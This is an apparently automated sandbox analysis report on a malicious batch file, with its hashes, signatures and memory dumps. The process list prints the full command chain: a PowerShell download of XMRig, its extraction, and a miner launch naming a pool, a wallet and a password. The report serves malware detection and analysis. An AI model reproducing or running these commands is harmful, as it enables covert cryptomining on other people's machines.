Resubmissions

Analysis

  • max time kernel
    1799s
  • max time network
    1781s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-en
  • resource tags

    arch:x64arch:x86image:win10-20240214-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/03/2024, 18:05

General

  • Target

    1.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1388
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2944

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    69d9ae0c21bddd82ad288b4c8c164b24

    SHA1

    270d959bac733677625ac4c71f2db05f980aa11d

    SHA256

    96dd6fa376f8b0d3023c3e11e77c3eb0b6b53e5eb77d272c5f8493a9253954a0

    SHA512

    44f1554172e196e02114799311cd3be810b9d0e5204aa4be839eb9e9554201fd46f2742dcc41d4ce7c80389265b05f1188fbbd87bb8e434adb4ca55ca0dce223

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iedbwczc.1mk.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1388-37-0x000002007A0A0000-0x000002007A0B0000-memory.dmp

    Filesize

    64KB

  • memory/1388-113-0x00007FFDA7A80000-0x00007FFDA846C000-memory.dmp

    Filesize

    9.9MB

  • memory/1388-38-0x000002007A0A0000-0x000002007A0B0000-memory.dmp

    Filesize

    64KB

  • memory/1388-36-0x00007FFDA7A80000-0x00007FFDA846C000-memory.dmp

    Filesize

    9.9MB

  • memory/1388-62-0x000002007A0A0000-0x000002007A0B0000-memory.dmp

    Filesize

    64KB

  • memory/1388-76-0x000002007A150000-0x000002007A162000-memory.dmp

    Filesize

    72KB

  • memory/1388-89-0x000002007A130000-0x000002007A13A000-memory.dmp

    Filesize

    40KB

  • memory/2016-5-0x00007FFDA7A80000-0x00007FFDA846C000-memory.dmp

    Filesize

    9.9MB

  • memory/2016-4-0x00000241533C0000-0x00000241533E2000-memory.dmp

    Filesize

    136KB

  • memory/2016-7-0x000002413B160000-0x000002413B170000-memory.dmp

    Filesize

    64KB

  • memory/2016-6-0x000002413B160000-0x000002413B170000-memory.dmp

    Filesize

    64KB

  • memory/2016-10-0x0000024153570000-0x00000241535E6000-memory.dmp

    Filesize

    472KB

  • memory/2016-25-0x000002413B160000-0x000002413B170000-memory.dmp

    Filesize

    64KB

  • memory/2016-30-0x00007FFDA7A80000-0x00007FFDA846C000-memory.dmp

    Filesize

    9.9MB

  • memory/2944-141-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-151-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-118-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-119-0x0000014CCB310000-0x0000014CCB330000-memory.dmp

    Filesize

    128KB

  • memory/2944-120-0x0000014CCB330000-0x0000014CCB350000-memory.dmp

    Filesize

    128KB

  • memory/2944-121-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-122-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-123-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-124-0x0000014CCB310000-0x0000014CCB330000-memory.dmp

    Filesize

    128KB

  • memory/2944-125-0x0000014CCB330000-0x0000014CCB350000-memory.dmp

    Filesize

    128KB

  • memory/2944-126-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-127-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-128-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-129-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-130-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-131-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-132-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-133-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-134-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-135-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-136-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-137-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-138-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-139-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-140-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-116-0x0000014CCB2B0000-0x0000014CCB2D0000-memory.dmp

    Filesize

    128KB

  • memory/2944-142-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-143-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-144-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-145-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-146-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-147-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-148-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-149-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-150-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-117-0x0000014CCB2F0000-0x0000014CCB310000-memory.dmp

    Filesize

    128KB

  • memory/2944-152-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-153-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-154-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-155-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-156-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-157-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-158-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-159-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-160-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-161-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-162-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-163-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-164-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-165-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-166-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-167-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-168-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-169-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-170-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-171-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-172-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-173-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-174-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-175-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-176-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-177-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-178-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-179-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-180-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-181-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-182-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-183-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-184-0x00007FF63A9B0000-0x00007FF63B4B3000-memory.dmp

    Filesize

    11.0MB